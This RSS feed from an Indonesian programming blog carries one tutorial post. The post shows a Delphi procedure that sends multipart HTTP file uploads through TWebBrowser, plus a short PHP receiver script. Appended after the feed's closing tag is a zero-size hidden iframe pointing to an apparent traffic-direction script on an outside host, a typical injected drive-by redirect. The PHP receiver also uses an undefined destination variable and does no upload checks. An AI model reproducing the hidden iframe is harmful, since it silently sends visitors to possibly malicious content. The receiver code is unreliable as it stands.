<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; upload</title>
	<atom:link href="http://www.dijexi.com/tag/upload/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>HTTP Upload File dari Delphi</title>
		<link>http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/</link>
		<comments>http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/#comments</comments>
		<pubDate>Thu, 16 Jul 2009 23:42:15 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/</guid>
		<description><![CDATA[Image via Wikipedia Berikut ini function Delphi untuk melakukan upload file menggunakan protokol HTTP. Function ini bisa digunakan pada aplikasi yang memerlukan uploading data ke suatu aplikasi web untuk diproses lebih lanjut, misalnya untuk upload dan import data. procedure UploadFilesHttpPost&#40;const wb:TWebBrowser; const URLstring: string; names, values, nFiles, vFiles: array of string&#41; ; var &#160; strData, [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 64px; display: block; float: right; height: 88px" class="zemanta-img" jquery1247787723093="224"><a href="http://commons.wikipedia.org/wiki/Image:DelphiTholos1.jpg"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="Delphi Tholos" src="http://upload.wikimedia.org/wikipedia/commons/b/bb/DelphiTholos1.jpg" width="40" height="35" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://commons.wikipedia.org/wiki/Image:DelphiTholos1.jpg">Wikipedia</a></p>
</p></div>
<p>Berikut ini function <a class="zem_slink" title="Delphi" href="http://maps.google.com/maps?ll=38.4833333333,22.5&amp;spn=0.1,0.1&amp;q=38.4833333333,22.5 (Delphi)&amp;t=h" rel="geolocation">Delphi</a> untuk melakukan upload file menggunakan protokol <a class="zem_slink" title="Hypertext Transfer Protocol" href="http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" rel="wikipedia">HTTP</a>. Function ini bisa digunakan pada aplikasi yang memerlukan <a class="zem_slink" title="Uploading and downloading" href="http://en.wikipedia.org/wiki/Uploading_and_downloading" rel="wikipedia">uploading</a> data ke suatu aplikasi web untuk diproses lebih lanjut, misalnya untuk upload dan import data.</p>
<p> <span id="more-814"></span>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:c368d1d0-97a7-4cf0-9f9d-5d504a2df759" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">procedure</span> UploadFilesHttpPost<span class="br0">&#40;</span><span class="kw4">const</span> wb:TWebBrowser; <span class="kw4">const</span> URLstring: <span class="kw4">string</span>; <br />
names, values, nFiles, vFiles: <span class="kw4">array</span> <span class="kw1">of</span> <span class="kw4">string</span><span class="br0">&#41;</span> ;<br />
<span class="kw1">var</span><br />
&nbsp; strData, n, v, boundary: <span class="kw4">string</span>;<br />
&nbsp;URL: OleVariant;<br />
&nbsp; Flags: OleVariant;<br />
&nbsp;PostData: OleVariant;<br />
&nbsp; Headers: OleVariant;<br />
&nbsp; idx: <span class="kw4">Integer</span>;<br />
&nbsp; ms: TMemoryStream;<br />
&nbsp; ss: TStringStream;<br />
<span class="kw1">begin</span><br />
<span class="coMULTI">{<br />
&nbsp; UploadFilesHttpPost(<br />
&nbsp; WebBrowser1,<br />
&nbsp; &#8216;http://validator.w3.org/check&#8217;,<br />
&nbsp; [],<br />
&nbsp; [],<br />
&nbsp; ['uploaded_file'],<br />
&nbsp; ['C:\blank.htm'] ); <br />
}</span><br />
&nbsp; <span class="kw1">if</span> Length<span class="br0">&#40;</span>names<span class="br0">&#41;</span> &lt;&gt; Length<span class="br0">&#40;</span>values<span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">raise</span> Exception.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8216;UploadFilesHttpPost: Names and Values must have the same length.&#8217;</span><span class="br0">&#41;</span> ;<br />
&nbsp; <span class="kw1">if</span> Length<span class="br0">&#40;</span>nFiles<span class="br0">&#41;</span> &lt;&gt; Length<span class="br0">&#40;</span>vFiles<span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">raise</span> Exception.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8216;UploadFilesHttpPost: FileNames and FileValues must have the same length.&#8217;</span><span class="br0">&#41;</span> ; <br />
&nbsp; URL := <span class="st0">&#8216;about:blank&#8217;</span>;<br />
&nbsp; Flags := NavNoHistory or NavNoReadFromCache or NavNoWriteToCache or NavAllowAutosearch;<br />
&nbsp; wb.<span class="me1">Navigate2</span><span class="br0">&#40;</span>URL, Flags<span class="br0">&#41;</span> ;<br />
&nbsp; <span class="kw1">while</span> wb.<span class="me1">ReadyState</span> &lt; READYSTATE_INTERACTIVE <br />
&nbsp; &nbsp; <span class="kw1">do</span> Application.<span class="me1">ProcessMessages</span>; <br />
&nbsp; <span class="co1">// anything random that WILL NOT occur in the data.</span><br />
&nbsp; boundary := <span class="st0">&#8216;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;123456789&#8242;</span>; <br />
&nbsp; strData := <span class="st0">&#8221;</span>;<br />
&nbsp; <span class="kw1">for</span> idx := Low<span class="br0">&#40;</span>names<span class="br0">&#41;</span> <span class="kw1">to</span> High<span class="br0">&#40;</span>names<span class="br0">&#41;</span> <span class="kw1">do</span><br />
&nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; n := names<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; v := values<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>; <br />
&nbsp; &nbsp; strData := strData + <span class="st0">&#8216;&#8211;&#8217;</span> + boundary + #<span class="nu0">13</span>#<span class="nu0">10</span> +<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="st0">&#8216;Content-Disposition: form-data; name=&quot;&#8217;</span> + n + <span class="st0">&#8216;&quot;&#8217;</span> + #<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span> + v + #<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; <span class="kw1">end</span>; <br />
&nbsp; <span class="kw1">for</span> idx := Low<span class="br0">&#40;</span>nFiles<span class="br0">&#41;</span> <span class="kw1">to</span> High<span class="br0">&#40;</span>nFiles<span class="br0">&#41;</span> <span class="kw1">do</span><br />
&nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; n := nFiles<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>;<br />
&nbsp; &nbsp; v := vFiles<span class="br0">&#91;</span>idx<span class="br0">&#93;</span>; <br />
&nbsp; &nbsp; strData := strData + <span class="st0">&#8216;&#8211;&#8217;</span> + boundary + #<span class="nu0">13</span>#<span class="nu0">10</span> + <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="st0">&#8216;Content-Disposition: form-data; name=&quot;&#8217;</span> + n + <span class="st0">&#8216;&quot;; filename=&quot;&#8217;</span> + v + <span class="st0">&#8216;&quot;&#8217;</span> + #<span class="nu0">13</span>#<span class="nu0">10</span>; <br />
&nbsp; &nbsp; <span class="kw1">if</span> v = <span class="st0">&#8221;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;strData := strData + <span class="st0">&#8216;Content-Transfer-Encoding: binary&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; <span class="kw1">else</span><br />
&nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.JPG&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; or <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.JPEG&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: image/pjpeg&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.PNG&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: image/x-png&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.PDF&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: application/pdf&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">else</span> <span class="kw1">if</span> <span class="br0">&#40;</span>CompareText<span class="br0">&#40;</span>ExtractFileExt<span class="br0">&#40;</span>v<span class="br0">&#41;</span>, <span class="st0">&#8216;.HTML&#8217;</span><span class="br0">&#41;</span> = <span class="nu0">0</span><span class="br0">&#41;</span> <span class="kw1">then</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">begin</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span>; <br />
&nbsp; &nbsp; &nbsp; strData := strData + <span class="st0">&#8216;Content-Type: text/html&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>#<span class="nu0">13</span>#<span class="nu0">10</span>; <br />
&nbsp; &nbsp; &nbsp; ms := TMemoryStream.<span class="me1">Create</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ms.<span class="me1">LoadFromFile</span><span class="br0">&#40;</span>v<span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ss := TStringStream.<span class="me1">Create</span><span class="br0">&#40;</span><span class="st0">&#8221;</span><span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">try</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ss.<span class="me1">CopyFrom</span><span class="br0">&#40;</span>ms, ms.<span class="me1">Size</span><span class="br0">&#41;</span> ;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; strData := strData + ss.<span class="me1">DataString</span> + #<span class="nu0">13</span>#<span class="nu0">10</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">finally</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ss.<span class="me1">Free</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">finally</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ms.<span class="me1">Free</span>;<br />
&nbsp; &nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; <span class="kw1">end</span>;<br />
&nbsp; &nbsp; strData := strData + <span class="st0">&#8216;&#8211;&#8217;</span> + boundary + <span class="st0">&#8216;&#8211;&#8217;</span>#<span class="nu0">13</span>#<span class="nu0">10</span>; <span class="co1">// FOOTER</span><br />
&nbsp; <span class="kw1">end</span>; <br />
&nbsp; strData := strData + #<span class="nu0">0</span>; <br />
&nbsp; <span class="coMULTI">{2. you must convert a string into variant array of bytes and every<br />
&nbsp; &nbsp; character from string is a value in array}</span><br />
&nbsp; PostData := VarArrayCreate<span class="br0">&#40;</span><span class="br0">&#91;</span><span class="nu0">0</span>, Length<span class="br0">&#40;</span>strData<span class="br0">&#41;</span> &#8211; <span class="nu0">1</span><span class="br0">&#93;</span>, varByte<span class="br0">&#41;</span> ; <br />
&nbsp; <span class="coMULTI">{ copy the ordinal value of the character into the PostData array}</span><br />
&nbsp; <span class="kw1">for</span> idx := <span class="nu0">1</span> <span class="kw1">to</span> Length<span class="br0">&#40;</span>strData<span class="br0">&#41;</span> <span class="kw1">do</span> PostData<span class="br0">&#91;</span>idx<span class="nu0">-1</span><span class="br0">&#93;</span> := <span class="kw3">Ord</span><span class="br0">&#40;</span>strData<span class="br0">&#91;</span>idx<span class="br0">&#93;</span><span class="br0">&#41;</span> ; <br />
&nbsp; <span class="coMULTI">{3. prepare headers which will be sent to remote web-server}</span><br />
&nbsp; Headers := <span class="st0">&#8216;Content-Type: multipart/form-data; boundary=&#8217;</span> + boundary + #<span class="nu0">13</span>#<span class="nu0">10</span>; <br />
&nbsp; <span class="coMULTI">{4. you must navigate to the URL with your <br />
&nbsp; &nbsp;script and send as parameters your array with POST-data and headers}</span><br />
&nbsp; URL := URLstring;<br />
&nbsp; wb.<span class="me1">Navigate2</span><span class="br0">&#40;</span>URL, Flags, EmptyParam, PostData, Headers<span class="br0">&#41;</span> ;<br />
&nbsp; <span class="kw1">while</span> wb.<span class="me1">ReadyState</span> &lt; READYSTATE_INTERACTIVE <span class="kw1">do</span> <br />
&nbsp; &nbsp; Application.<span class="me1">ProcessMessages</span>;<br />
<span class="kw1">end</span>;<br />
&nbsp;</div>
</div>
<p>Terus cara menggunakannya adalah sbb, misal dipanggil pada event click Button1:</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:a14c0659-7fc8-41f3-9f22-c065a5052173" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">procedure</span> TForm1.<span class="me1">Button1Click</span><span class="br0">&#40;</span>Sender: TObject<span class="br0">&#41;</span>; <br />
<span class="kw1">begin</span> <br />
&nbsp; UploadFilesHttpPost<span class="br0">&#40;</span> <br />
&nbsp; WebBrowser1, <br />
&nbsp; <span class="st0">&#8216;http://127.0.0.1/receiver.php&#8217;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="br0">&#93;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="br0">&#93;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="st0">&#8216;uploaded&#8217;</span><span class="br0">&#93;</span>, <br />
&nbsp; <span class="br0">&#91;</span><span class="st0">&#8216;c:<span class="es0">\e</span>xport.zip&#8217;</span><span class="br0">&#93;</span> <span class="br0">&#41;</span>; <br />
<span class="kw1">end</span>; <br />
&nbsp;</div>
</div>
<p>Prosedur diatas akan meng-upload file c:\export.zip ke server dengan URL <a href="http://127.0.0.1/receiver.php">http://127.0.0.1/receiver.php</a> (sebuah script PHP untuk menangani file yang berhasil diupload). Nama field HTML input file upload nya adalah uploaded. </p>
<p>Pada sisi server, script PHP receiver.php yang dipanggil untuk memproses file upload contohnya sbb: </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:d259e6e0-95b4-430e-a128-d754af4dfaf1" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?</span> <br />
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/move_uploaded_file"><span class="kw3">move_uploaded_file</span></a><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#91;</span><span class="st0">&#8216;uploaded&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;tmp_name&#8217;</span><span class="br0">&#93;</span>, <span class="re0">$zipfile</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <br />
<span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;File $zipfile berhasil diupload&quot;</span>; <br />
<span class="br0">&#125;</span> <br />
<span class="kw1">else</span> <span class="br0">&#123;</span> <br />
&nbsp; &nbsp; &nbsp;<a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Sorry, there was a problem uploading your file.&quot;</span>; &nbsp; &nbsp;<br />
<span class="br0">&#125;</span> <br />
<span class="kw2">?&gt;</span> <br />
&nbsp;</div>
</div>
<p>Sumber Delphi.about.com. </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:8134e0f6-3fb9-4421-9699-27bc915d3432" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Delphi" rel="tag">Delphi</a>,<a href="http://technorati.com/tags/upload" rel="tag">upload</a>,<a href="http://technorati.com/tags/http" rel="tag">http</a></div>
<p>Akhmad Daniel Sembiring </p>
<p><a href="http://www.vitraining.com/">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a> </p>
<p><a href="http://ligarwangi.com/">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/feeb52c8-dffe-4f92-955d-2d51430ca02b/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=feeb52c8-dffe-4f92-955d-2d51430ca02b" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/advanced-delphi-dll/" rel="bookmark">21. Advanced Delphi: DLL</a></li><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/07/mengakses-active-directory-dari-delphi/" rel="bookmark">Mengakses Active Directory dari Delphi</a></li><li><a href="http://www.dijexi.com/2009/07/delphi-function-to-return-any-object-type-value/" rel="bookmark">Delphi function to return any object type value</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fhttp-upload-file-dari-delphi%2F&amp;linkname=HTTP%20Upload%20File%20dari%20Delphi"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/http-upload-file-dari-delphi/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
